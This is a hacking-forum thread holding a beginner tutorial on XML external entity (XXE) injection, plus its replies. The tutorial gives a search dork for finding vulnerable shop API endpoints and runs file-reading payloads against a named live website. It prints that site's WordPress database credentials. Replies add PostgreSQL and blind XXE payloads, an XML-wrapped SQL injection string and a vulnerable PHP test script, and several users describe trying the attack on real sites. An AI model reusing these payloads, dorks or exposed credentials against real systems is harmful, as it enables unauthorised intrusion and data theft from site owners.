

Forum:[Hack Forums](#)

Thread: [\[TUT\] XXE Injection w/ Pics \[Newb Friendly\]](#)

benzi - March 31, 2015, 9:24 am

sup.

i saw that there are no mentions in this forum about XXE Injection, except from one thread. which is not a good thing, since this attack is really nice. lets start.

xxe stands for xml external entity.

in this attack, we're using xml entity commands to read files (mainly), execute commands, DOS, port scan and in some versions even upload files.

whats that mean?

if sqli works using sql commands, xxe works using xml commands.

in this tut, i will be talking about reading local files using xxe error based.

i belive we learn best from practice, thats why im demonstrating on live site.

TOC

- find vulns.
- exploitation.

find vulns

so thats all good and beautiful, but we still need a site to practice on.

which means we need dork, and i found nice one. ?

Code `allinurl:skin/frontend` the usage is navigate from `site.com/skin/frontend`

to `site.com/api/xmlrpc`

if we want to check specific site, we can also use google dorking-

Code `site:site.com inurl:xmlrpc`

exploitation

thats what a typical xxe vuln looks like-

Code `https://malga.ca/boutique/api/xmlrpc`

lets do a test, to see if its vuln.

we will create a new entity named "tutorial", and put in a text.

now, as i said, this tut will focus on error based.

to create an error, we're using `<methodName>` tag and `<methodCall>` tag, which basically calls a xml method.

now we will call are entity using the 2 tags, and we will get an error because theres no method called "tutorial".

thats how the command will look like-

Code `<!DOCTYPE a [
<!ENTITY tutorial "benz">`

`]>`

`<methodCall><methodName>&tutorial;</methodName></methodCall>`

the usage is simple.

GET - site

POST - command.

and as expected, we got an error.

```
<string>Method "benz" does not exist</string>
```

lets try to do more than that.

like read /etc/passwd, and we can do that by use file:// wrapper.

```
Code <!DOCTYPE a [  
<!ENTITY tutorial SYSTEM "file:///etc/passwd" >  
<methodCall><methodName>&tutorial;</methodName></methodCall>
```

as we can see, we can use php wrappers.

to read the source of other files, i'll be using php://filter.

i use it because that allows us to see the full source, not only the html.

lets find the config file.

like lfd, we first check the main index.php.

since we are in /boutique directory, we will navigate to the parent directory.

```
Code <!DOCTYPE a [  
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../index.php" >  
<methodCall><methodName>&tutorial;</methodName></methodCall>
```

lets decode that base64, and see the content of the file.

as we can see, the site use wordpress.

the config file of wordpress is wp-config.php

lets check in this site-

```
Code <!DOCTYPE a [  
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php" >  
<methodCall><methodName>&tutorial;</methodName></methodCall>
```

we got another base64, which means the file exist.

lets decode it.

```
Code // ** MySQL settings - You can get this info from your web host ** //
```

```
/** The name of the database for WordPress */
```

```
define('DB_NAME', 'malgaca_wp');
```

```
/** MySQL database username */
```

```
define('DB_USER', 'malgaca_wpuser');
```

```
/** MySQL database password */
```

```
define('DB_PASSWORD', 'J41M4lAuC03ur');
```

```
/** MySQL hostname */
```

```
define('DB_HOST', 'localhost');
```

```
/** Database Charset to use in creating database tables. */
```

```
define('DB_CHARSET', 'utf8');
```

```
/** The Database Collate type. Don't change this if in doubt. */  
define('DB_COLLATE', '');  
Pwned.
```

hope you learned something ?

Thehackerguy1 - March 31, 2015, 9:25 am

Thanks for this sir, when i am free i will surely try this. Thanks a lot sir.

HaxOr? - March 31, 2015, 9:25 am

Nice tutorial man. Good to see you still active! :)

benzi - March 31, 2015, 9:26 am

thanks, glad that you like that.

Death Eater - March 31, 2015, 9:27 am

Great tutorial OP, this is something that a lot of people will find helpful

NIIGHT HAWKE - March 31, 2015, 9:45 am

Awesome tutorial! Thank you. Learned something new!

benzi - March 31, 2015, 11:48 am

thanks all.

if someone got another site that vuln (not /api/xmlrpc) pm me, i would like to make a tut on rce and file upload.

Th3PonyWizard - March 31, 2015, 12:34 pm

(Mar 31, 2015 03:30 AM)Th3PonyWizard Wrote: [\[CITE\]](#) Writing a tutorial about XML based attacks and I'm compiling them all

XML Injection

XXE

XML DoS (Bomb based)

XSLT Injections

XML XSSi literally was about to write this one. Good going and awesome thread.

benzi - March 31, 2015, 1:36 pm

(Mar 31, 2015 12:34 PM)Th3PonyWizard Wrote: [\[CITE\]](#) I literally was about to write this one. Good going and awesome thread.

do you got a vuln site which is not /api ?

Th3PonyWizard - March 31, 2015, 1:43 pm

(Mar 31, 2015 01:36 PM)benzi Wrote: [\[CITE\]](#) do you got a vuln site which is not /api ?No but I have my own server and I code vulnerabilities on it

SIM-1866423 - March 31, 2015, 2:30 pm

Good to see you, again ?

&&&&&

Hooded Robin - March 31, 2015, 3:03 pm

This has affected plesk panel in the past, flex service bundled w/Coldfusion, Apache Solr , numerous xmlrpc handlers, and lots of other services people tend to pay no attention to...

I love these bugs ?

Worth mentioning that you can also in rare cases execute commands via the expect://, as opposed to the typical file:// abuse trick ?

Jonetsu - March 31, 2015, 3:19 pm

(Mar 31, 2015 09:26 AM)benzi Wrote: [\[CITE\]](#) thanks, glad that you like that.

Thanks for this tutorial nice share :)

benzi - April 1, 2015, 1:34 am

(Mar 31, 2015 03:03 PM)Hooded Robin Wrote: [\[CITE\]](#) This has affected plesk panel in the past, flex service bundled w/Coldfusion, Apache Solr , numerous xmlrpc handlers, and lots of other services people tend to pay no attention to...

I love these bugs ?

Worth mentioning that you can also in rare cases execute commands via the expect://, as opposed to the typical file:// abuse trick ?

i'll tell you more than that, you can actually get xxe from postgresql injection.

i wanted to write about expect://, directory listing (file:///dir), and jar://, but couldnt find any vuln site to demonstrate on.

Freerunning - April 1, 2015, 1:40 am

Thank you so much sir for the tutorial gonna bookmark it and study it later.

Wireless Network - April 1, 2015, 4:07 am

Thanks for share. Very useful tutorial.

IDK - April 1, 2015, 4:11 am

Thanks for Sharing this HQ tut :D looking forward to learn something new

IDK - April 1, 2015, 4:16 am

Thanks for Sharing this HQ tut :D looking forward to learn something new
oops my slow net double posted the same shit ;_ ; and i can't del it

idontcock - April 1, 2015, 5:24 am

Thank you for this m8! Keep it going

Hooded Robin - April 1, 2015, 6:53 am

(Apr 1, 2015 01:34 AM)benzi Wrote: [\[CITE\]](#) i'll tell you more than that, you can actually get xxe from postgresql injection.

i wanted to write about expect://, directory listing (file:///dir), and jar://, but couldnt find any vuln site to demonstrate on.

Ah yes, I forgot about jar:/// Care to PM me some more details on the pgsqsl aspect? I could try to code up a demo site if I can make sense of it later (I'm assuming there is a load_xml() type function to trigger this via the sql injection or something similar?)

benzi - April 1, 2015, 7:22 am

(Apr 1, 2015 06:53 AM)Hooded Robin Wrote: [\[CITE\]](#) Ah yes, I forgot about jar:/// Care to PM me some more details on the pgsqsl aspect? I could try to code up a demo site if I can make sense of it later (I'm assuming there is a load_xml() type function to trigger this via the sql injection or

something similar?)

well, in postgresql we have xml function named xmlparse().

when we use it, our code goes thru xml parse, and we get the output.

in postgresql injection, the payload would look like that-

Code select xmlparse(document '<!DOCTYPE a [<!ENTITY xxe SYSTEM "/etc/passwd">]><content>&xxe;</content>');and we get pg error-

parser error : StartTag: invalid element name exec 9<&0 <root:x:0:0:root

we can also use it for ssrf btw.

another function is xslt_process(), and the good thing about that function, its not limited by the output.

the problem is its not working on every version.

in pg 9.1 its turned off by default.

The Collector - April 1, 2015, 7:53 am

<http://speciaalxxxx.xxxx.nl/api/xmlrpc> (not the real site)

tried on that one but i think its not vulnerable, im getting a faultcode 620 after injecting

```
<!DOCTYPE a [  
<!ENTITY Test "test">  
>  
<methodCall><methodName>&test;</methodName></methodCall>
```

or am i doing the wrong thing now

benzi - April 1, 2015, 7:57 am

(Apr 1, 2015 07:53 AM)The Collector Wrote: [\[CITE\]](#) <http://speciaalxxxx.xxxx.nl/api/xmlrpc> (not the real site)

tried on that one but i think its not vulnerable, im getting a faultcode 620 after injecting

```
<!DOCTYPE a [  
<!ENTITY Test "test">  
>  
<methodCall><methodName>&test;</methodName></methodCall>
```

or am i doing the wrong thing now

xml is sensitive about uppercase and lowercase.

if you used &test; , you should use test in entity, and not Test.

however, not all the sites there are vuln, some of them are patched.

The Collector - April 1, 2015, 8:02 am

found out that i did it wrong (indeed the "T"), and the site isnt vulnerable as far as i can see. keeps giving me 620

flixi - April 1, 2015, 8:02 am

nice tutorial. but there arent many sites that are vulnerable.

xXNepalmXx - April 3, 2015, 4:42 am

When I try to use the file:// function

I get: <string>Method "" does not exist</string>

Am i doing something wrong or the site is patched?

benzi - April 3, 2015, 5:30 am

(Apr 3, 2015 04:42 AM)xXNepalmXx Wrote: [\[CITE\]](#) When I try to use the file:// function I get: <string>Method "" does not exist</string>

Am i doing something wrong or the site is patched?
probably patched, not all the sites in this dork are vuln.

wlangkulay - April 3, 2015, 6:33 am

Awesom tutorial OP. I never heard of this such before.

asm-99 - April 3, 2015, 6:44 am

HQ tut from HQ user... Just 1 question, we always use:

```
<!DOCTYPE a [  
<!ENTITY tutorial "benz">  
>  
<methodCall><methodName>&tutorial;</methodName></methodCall>
```

for checking if it's vuln? with changing benz and tutorial?

benzi - April 3, 2015, 6:50 am

(Apr 3, 2015 06:44 AM)asm-99 Wrote: [\[CITE\]](#) HQ tut from HQ user... Just 1 question, we always use:

```
<!DOCTYPE a [  
<!ENTITY tutorial "benz">  
>  
<methodCall><methodName>&tutorial;</methodName></methodCall>
```

for checking if it's vuln? with changing benz and tutorial?

thats one method of many.

if you get an error like-

'Method "benz" does not exist',

it means the server parsed the request, and its vuln.

if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

asm-99 - April 3, 2015, 6:55 am

(Apr 3, 2015 06:50 AM)benzi Wrote: [\[CITE\]](#) thats one method of many.

if you get an error like-

'Method "benz" does not exist',

it means the server parsed the request, and its vuln.

if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

Very fast loool. Thanks got it ?

(Apr 3, 2015 06:50 AM)benzi Wrote: [\[CITE\]](#) thats one method of many.

if you get an error like-

'Method "benz" does not exist',

it means the server parsed the request, and its vuln.

if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

Very fast loool. Thanks got it ?

(Apr 3, 2015 06:50 AM)benzi Wrote: [\[CITE\]](#) thats one method of many.

if you get an error like-

'Method "benz" does not exist',

it means the server parsed the request, and its vuln.

if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

Very fast loool. Thanks got it ?

^

Very fast loool. Thanks got it ?

xXNepalmXx - April 3, 2015, 6:58 am

(Apr 3, 2015 06:50 AM)benzi Wrote: [\[CITE\]](#) thats one method of many.

if you get an error like-

'Method "benz" does not exist',

it means the server parsed the request, and its vuln.

if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

In the case the admin disabled SYSTEM what should we do?

benzi - April 3, 2015, 7:07 am

(Apr 3, 2015 06:58 AM)xXNepalmXx Wrote: [\[CITE\]](#) In the case the admin disabled SYSTEM what should we do?

the only thing i can think of is blind injection.

in blind xxe, you guess the xml tag value using binary search tree.

Code <xs:element name="password" type="PWD"/>

...

<xs:simpleType name="PWD">

<xs:restriction base="xs:token">

<xs:pattern value="[a-m]{1}[a-z]+"

</xs:restriction></xs:simpleType>if first char of "password" tag value is between 'a' and 'm', it will return true.

Limboland™ - April 3, 2015, 7:14 am

Benzi Good Tutorial , show more of your work !!!!!

Thank you ??

Hooded Robin - April 3, 2015, 8:34 am

some PHP code for those that want to play along at home :)

Code <?php

/*

To trigger XXE Injection from attacker....

POST: http://127.0.0.1/xxe.php

DATA: <?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

<bar>&xxe;</bar>

*/

@libxml_disable_entity_loader(false); // This doesn't really work like you think it would in most cases (newer PHP fixed)

\$xml = @file_get_contents('php://input'); // Grab all POST data into var

\$dom = new DOMDocument(); // Initiate our xml parser

\$dom->loadXML(\$xml, LIBXML_NOENT); // load xml from string, the added argument allows entities to be resolved for poc (if your on newer PHP)

```
print $dom->textContent;          // display any text content from our xml data
```

```
?>  
?
```

Purest. - April 3, 2015, 8:41 am

Thanks so much for this dude, amazing job!

xx 0x0 xx - April 3, 2015, 10:50 am

finally detailed tutorial about xxe here nice work benzi keep up and i will search for vuln site's not /api and pm u if i got any of it

(Apr 3, 2015 08:34 AM)Hooded Robin Wrote: [\[CITE\]](#) some PHP code for those that want to play along at home :)

Code <?php

```
/*
```

```
To trigger XXE Injection from attacker....
```

```
POST: http://127.0.0.1/xxe.php
```

```
DATA: <?xml version="1.0"?>
```

```
<!DOCTYPE foo [
```

```
<!ENTITY xxe SYSTEM "file:///etc/passwd">
```

```
]>
```

```
<bar>&xxe;</bar>
```

```
*/
```

```
@libxml_disable_entity_loader(false);    // This doesn't really work like you think it would in most  
cases (newer PHP fixed)
```

```
$xml = @file_get_contents('php://input'); // Grab all POST data into var
```

```
$dom = new DOMDocument();    // Initiate our xml parser
```

```
$dom->loadXML($xml, LIBXML_NOENT); // load xml from string, the added argument allows  
entities to be resolved for poc (if your on newer PHP)
```

```
print $dom->textContent;    // display any text content from our xml data
```

```
?>
```

```
?
```

@Hooded Robin thanks bro for making this vuln it make me understand how this exp work

glad to see you here again btw :D

?asp3r - April 3, 2015, 11:25 am

Can you send SQL commands via XML?

Just wondering.

SIM-1241186 - April 3, 2015, 10:09 pm

(Mar 31, 2015 09:25 AM)HaxOr? Wrote: [\[CITE\]](#) Nice tutorial man. Good to see you still active! :)
Pretty much this.

Nice to see there's a gem amongst the shit pile here.

And good to see you're still active.

RIP Ajkaro.

benzi - April 4, 2015, 11:16 am

(Apr 3, 2015 11:25 AM)Casp3r the Friendly Gh0st Wrote: [\[CITE\]](#) Can you send SQL commands via XML?

Just wondering.

you mean sqli via xxe?

only in specific cases.

some sites use xml search form with sqli search query.

if the site uses xml search form like that-

Code <methodCall><methodName>FindName</methodName>

<params>

<param>

<value>

<string>Casper</string>

</value>

</param>

</params>

</methodCall>

(Casper is our input)

and then send it to a sql query-

Code SELECT id,name,avatar FROM ppl WHERE name LIKE '%Casper%';so the injection payload would be like-

Code <string>a'and 0 union select 1,2,3</string>but i think we cant use directly an apostrophe ('), because it will break the xml query, so we can use ' instead.

Code a' and 0 union select 1,2,3

SIM-1866423 - April 4, 2015, 1:16 pm

I already try it.Everythings fine until execute commans.I sent you website.Am i miss something or just vul. patched ? I'm back ur return, thanks you in advence ! ?

?asp3r - April 4, 2015, 1:23 pm

(Apr 4, 2015 11:16 AM)benzi Wrote: [\[CITE\]](#) you mean sqli via xxe?

only in specific cases.

some sites use xml search form with sqli search query.

if the site uses xml search form like that-

Code <methodCall><methodName>FindName</methodName>

<params>

<param>

<value>

<string>Casper</string>

</value>

</param>

</params>

</methodCall>

(Casper is our input)

and then send it to a sql query-

Code SELECT id,name,avatar FROM ppl WHERE name LIKE '%Casper%';so the injection payload would be like-

Code <string>a'and 0 union select 1,2,3</string>but i think we cant use directly an apostrophe ('), because it will break the xml query, so we can use ' instead.

Code a' and 0 union select 1,2,3That's pretty interesting. ?

I had no idea XML could be useful in LFI, RFI and be combined with other styles of attacks.

AnonMonnik - April 5, 2015, 11:43 am

Awesome tutorial, Thanks for sharing.
going to bookmark this.

Niely - April 5, 2015, 11:54 am

Nice tutorial mate! Glad this is something new.

ThinkingStars - April 5, 2015, 12:22 pm

(Mar 31, 2015 09:25 AM)Thehackerguy1 Wrote: [\[CITE\]](#) Thanks for this sir, when i am free i will surely try this. Thanks a lot sir.

Am I fully r3t4rd3d or....., are you in jail?? o.O
hahahah

Hooded Robin - April 5, 2015, 4:22 pm

You can use, html entity encoding to send in special characters or chars that are normally xml control characters (i.e. "><=>'"><")

Gee4rce - April 5, 2015, 6:22 pm

Nice HQ Tutorial mate :) !!

I knew XXE but still learnt a thing from this, thank you Benzi!!
Greetings, Gee.

SIM-2198759 - April 6, 2015, 2:01 am

Thanks for this dude, very useful!
Ill research this some more!

Root_x7 - April 9, 2015, 12:44 am

Thanks for this awesome tutorial benzi bro

Root_x7 - April 20, 2015, 12:31 pm

Awesome Tutorial Thanks sir , it helps me a lot

iHacker-n00b - April 21, 2015, 2:34 am

(Apr 1, 2015 07:22 AM)benzi Wrote: [\[CITE\]](#) well, in pgsql we have xml function named xmlparse(). when we use it, our code goes thru xml parse, and we get the output.

in pgsql injection, the payload would look like that-

Code select xmlparse(document '<!DOCTYPE a [<!ENTITY xxe SYSTEM
"/etc/passwd">]><content>&xxe;</content>');and we get pg error-
parser error : StartTag: invalid element name exec 9<&0 <root:x:0:0:root

we can also use it for ssrf btw.

another function is xslt_process(), and the good thing about that function, its not limited by the output.

the problem is its not working on every version.

in pg 9.1 its turned off by default.Cool :O Thanks For This Info , Very Nice One Bro! ?

benzi - April 21, 2015, 3:05 am

(Apr 5, 2015 12:22 PM)ThinkingStars Wrote: [\[CITE\]](#) Am I fully r3t4rd3d or....., are you in jail?? o.O
hahahah

i belive he mean he is busy.
thanks all.

?WhatTheJoint? - April 25, 2015, 4:04 am

???? ???? ???? ???? ?

Great xss injection tut.

iHacker-n00b - April 25, 2015, 4:31 am

Why Can't we use php://input or data:// wrapper?

Hooded Robin - April 25, 2015, 7:57 am

(Apr 25, 2015 04:31 AM)iHacker-n00b Wrote: [\[CITE\]](#) Why Can't we use php://input or data:// wrapper?

if the application is running PHP, you can use stream wrappers to manipulate your xxe data within your XML/XXE injection. There was a really good explanation released today relating to the latest vulnerability found in Drupal framework which can show you how and why some filters work and how to go about using them within your XXE injection to avoid XML issues with input and output data (also a few tricks on bypassing some default restrictions in XXE data smuggling):

http://www.synacktiv.fr/ressources/synacktiv_drupal_xxe_services.pdf

iHacker-n00b - April 26, 2015, 3:21 am

(Apr 25, 2015 07:57 AM)Hooded Robin Wrote: [\[CITE\]](#) if the application is running PHP, you can use stream wrappers to manipulate your xxe data within your XML/XXE injection. There was a really good explanation released today relating to the latest vulnerability found in Drupal framework which can show you how and why some filters work and how to go about using them within your XXE injection to avoid XML issues with input and output data (also a few tricks on bypassing some default restrictions in XXE data smuggling):

http://www.synacktiv.fr/ressources/synacktiv_drupal_xxe_services.pdf Thanks For The reply Sir, ?!

knightserv - April 26, 2015, 6:41 am

Awesome tutorial! Learned something new! i put this in a book to know what to do next time thank...

tty666 - May 1, 2015, 2:25 am

Really nice tut :)

let's automatize this with Python ^^

I will code a short scrapper :p

thx !

Geneon - May 2, 2015, 10:55 am

What software are you using to post data?

Broomop - May 2, 2015, 11:34 am

good method but i tried about 40 sites and now im bored lol nothing.

benzi - May 2, 2015, 12:11 pm

(May 2, 2015 10:55 AM)Geneon Wrote: [\[CITE\]](#) What software are you using to post data?

i used hackbar, but you can use http live headers / tamper data / burp suite aswell.

<https://addons.mozilla.org/en-US/firefox/addon/hackbar/>

meethajutt - May 3, 2015, 11:01 am

can we crack with this flash chatroom to like pakiheaven.net/chat/

IDK - May 3, 2015, 12:22 pm

can't find any vul site can anyone pm me any vul site for practice :)

Cross Marian - May 3, 2015, 4:25 pm

Great tut , tried on a couple site but there is a interesting one i think it can't be vulne. but if you want

to check it out its Amazon's service website.

aHR0cDovL3MzLWV1LXdlc3QtMS5hbWF6b25hd3MuY29tL3dpbmRlbG4vYXBpL3htbHJwYw==

tomek34465 - May 6, 2015, 6:07 am

thanks, glad that you like that.

hoseinr58 - May 16, 2015, 8:43 am

xxe not xml-rpc in wordpreess

xxe is different method and xml-rpc is different

b001ean - May 16, 2015, 10:22 am

OMG never heard of that. Thanks a lot man!! Learned a new way... thanks again

Arata Goru - May 16, 2015, 6:47 pm

Step 1 - Success

but from step 2 ... doesn't work anything :/

etam.com. cn/api/xmlrpc

ProblemSolva - May 17, 2015, 2:11 am

nice tutorial like always benzi, i am sure to try this soon. i didnt knew about this injection type.

MNZK0406 - May 23, 2015, 10:24 am

awesome thread man! thanks for your kindness sharing !

Barthezz - May 23, 2015, 4:39 pm

Thanks for sharing will try this tomorrow

referendarius - May 23, 2015, 5:43 pm

Thanks for your Tuto, it's very good job.

(May 3, 2015 12:22 PM)Red King Wrote: [\[CITE\]](#) can't find any vul site can anyone pm me any vul site for practice :)

If you want vul site you can download Vega Penetration Test and chose your injection type.

[Official Link Here](#)

sparklesh - May 23, 2015, 6:22 pm

Good looking, thanks for this.

RAi Jee - May 28, 2015, 8:41 am

awsome benzi monster ... for such HQ tutorial

IDK - May 28, 2015, 9:34 am

Can you pm me any vul website or php code which is vul to xxe injection SO i can setup it on localhost for practice

TheWhiteHatter - May 28, 2015, 1:44 pm

What tool did you use? to post data?

HACKED - May 28, 2015, 2:19 pm

Nice tutorial! Really appreciated! Hadn't seen anything similar.

Saboteur. - *September 10, 2015, 9:55 am*

Acutally pretty nice. WEll done.

1337_Pirate - *September 10, 2015, 11:05 am*

Thanks for the tut mate..